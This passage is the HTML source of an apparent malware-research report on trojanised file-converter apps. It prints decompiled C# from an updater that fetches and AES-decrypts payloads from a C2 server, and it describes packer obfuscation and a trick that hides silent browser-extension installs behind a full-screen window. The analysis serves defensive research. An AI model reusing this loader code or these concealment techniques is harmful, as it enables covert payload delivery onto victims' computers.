&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetCreationTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFolderPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SpecialFolder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LocalApplicationData&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;&amp;#34;ConvertMate&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;&amp;#34;id.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="n"&gt;ToUniversalTime&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;yyyy-MM-dd HH:mm:ss&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;internal&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;getUserID&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadAllText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFolderPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SpecialFolder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LocalApplicationData&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;&amp;#34;ConvertMate&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;id.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Method used to download the payload from the C2 server. This method is only called&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// if a token is returned when it checks for an &amp;#34;update&amp;#34;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;override&lt;/span&gt; &lt;span class="n"&gt;FSharpAsync&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt; &lt;span class="n"&gt;webClient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Now&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;yyyyMMddHHmmss&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;webClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultRequestHeaders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Authorization&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;AuthenticationHeaderValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;&amp;#34;Bearer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;webClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultRequestHeaders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;InstallTime&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;installDate&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;webClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultRequestHeaders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Time&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;FSharpAsync&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;computation&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FSharpAsync&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AwaitTask&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;webClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetStringAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Method that process the downloaded payload.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;override&lt;/span&gt; &lt;span class="n"&gt;FSharpAsync&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;JsonConvert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeserializeObject&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&amp;gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;@this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;installDate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;currentDate&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;AsyncPrimitives&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MakeAsync&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&amp;gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FSharpFunc&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;AsyncActivation&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;IEnumerable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;&amp;gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;AsyncReturn&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;)&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;GetUpdates&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UpdateGatherer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Method used to decrypt the payload from the C2 server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;internal&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;installDate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;currentDate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="nn"&gt;Aes&lt;/span&gt; &lt;span class="n"&gt;aes&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ComputeHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;installDate&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IV&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MD5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ComputeHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentDate&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="nn"&gt;MemoryStream&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;MemoryStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JsonConvert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeserializeObject&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ICryptoTransform&lt;/span&gt; &lt;span class="n"&gt;transform&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreateDecryptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IV&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CryptoStream&lt;/span&gt; &lt;span class="n"&gt;stream2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;CryptoStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CryptoStreamMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;StreamReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream2&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;ReadToEnd&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Fall 2025 Era (Native Time)&lt;span class="hx:absolute hx:-mt-20" id="fall-2025-era-native-time"&gt;&lt;/span&gt;
&lt;a href="#fall-2025-era-native-time" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In the Fall of 2025, we saw a new era. Starting with &lt;em&gt;Rapid Doc&lt;/em&gt; at the end of
September and most recently &lt;em&gt;ZapPDF&lt;/em&gt; at the beginning of December. &lt;em&gt;Rapid Doc&lt;/em&gt;
uses a custom installer packaged in a modified implementation of
&lt;a href="https://github.com/pyinstaller"target="_blank" rel="noopener"&gt;PyInstaller&lt;/a&gt;. The PyInstaller uses a different
&lt;em&gt;footer&lt;/em&gt;, so most tooling can&amp;rsquo;t unpack the embedded files. Additionally, an
additional &amp;ldquo;custom&amp;rdquo; encryption has been added to the embedded files. All the
files in the &lt;em&gt;PYZ&lt;/em&gt; archive (which also uses different magic bytes) need a round
of &lt;em&gt;XOR&lt;/em&gt; with a short key, decompression with &lt;em&gt;zlib&lt;/em&gt;, followed by &lt;em&gt;XOR&lt;/em&gt; with
another short key. The keys are different between different PyInstallers. For
example, the embedded client application is also packaged with PyInstaller and
uses a different set of keys. &lt;em&gt;ZapPDF&lt;/em&gt;, first found in December 2025, moved
back to use a custom installer written in C#.&lt;/p&gt;
&lt;p&gt;A big change with the installer in this era is that they do not contain the
SilentMare component. Instead, the updater component is downloaded by the
installer. The updater has been reimplemented in C++ instead of F#. The
functionality between the two SilentMare versions installed by &lt;em&gt;Rapid Doc&lt;/em&gt; and
&lt;em&gt;ZapPDF&lt;/em&gt; is very similar. The main difference is that the most recent version
expects an ASCII85 encoded payload, whereas previous versions used Base64
encoding of the encrypted data. In both of these C++ versions, the AES key is
derived by hashing a hardcoded string that is stored in the binary. The same
hardcoded string is used as the &lt;em&gt;XOR&lt;/em&gt; key when encrypting the telemetry sent
back to the C2 server.&lt;/p&gt;
&lt;h2&gt;HollowMare&lt;span class="hx:absolute hx:-mt-20" id="hollowmare"&gt;&lt;/span&gt;
&lt;a href="#hollowmare" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;HollowMare is another Trojan family that we are currently tracking. We have
seen two different types of malware families: one that installs an extension
without the user knowing, and another that hijacks the browser&amp;rsquo;s default search
engine. Compared to other Trojan families in this report, no functional
application is provided to the user. The Trojan uses a custom installer that
creates a shortcut on the user&amp;rsquo;s desktop, adds an uninstaller, and registers
itself in the Windows application list so it can be uninstalled. Because we did
not identify any malicious intent, we classify this family as a PUA rather than
malware.&lt;/p&gt;
&lt;p&gt;The first variant, which installs a browser extension, was tracked back to May
2025 and was spread via a fake application called &lt;em&gt;ConvertyFile&lt;/em&gt;. The installer
is written in Go and drops an uninstaller written in the same language. The
first thing the installer does when it&amp;rsquo;s executed is to contact the C2 server.
The C2 server informs the installer which extension to install and in which web
browser. The installer creates a window that covers the whole screen so the
user can&amp;rsquo;t see what&amp;rsquo;s happening while the installation is in progress. Behind
the full-screen window, the installer opens up a new browser window. Using
virtual keyboard messages sent to the browser window, the installer navigates
to the extensions installation page and installs the extension as if the user
had done so manually. Once the extension has been installed, the installer
navigates to a &amp;ldquo;Thank You&amp;rdquo; page displayed to the user after the installation.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;## Some of the metadata extracted from the Converty File Installer
Compiler 1.23.4 (2024-12-03)
Build ID NXWcL1Pq14dOHrPjvWSd/WvQDkDRRmdLbZKJcZ8sU/asI5RZbGH0dIVoQZSh3R/IU3sCUsRT-mcUcDOVHWd
Main root ConvertyFile
# main 5
# std 128
# vendor 12
vcs git
vcs.revision f8f4176537e9f6e757779c7adb8fba75e93c478f
vcs.time 2025-05-18T12:48:54Z
vcs.modified true&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
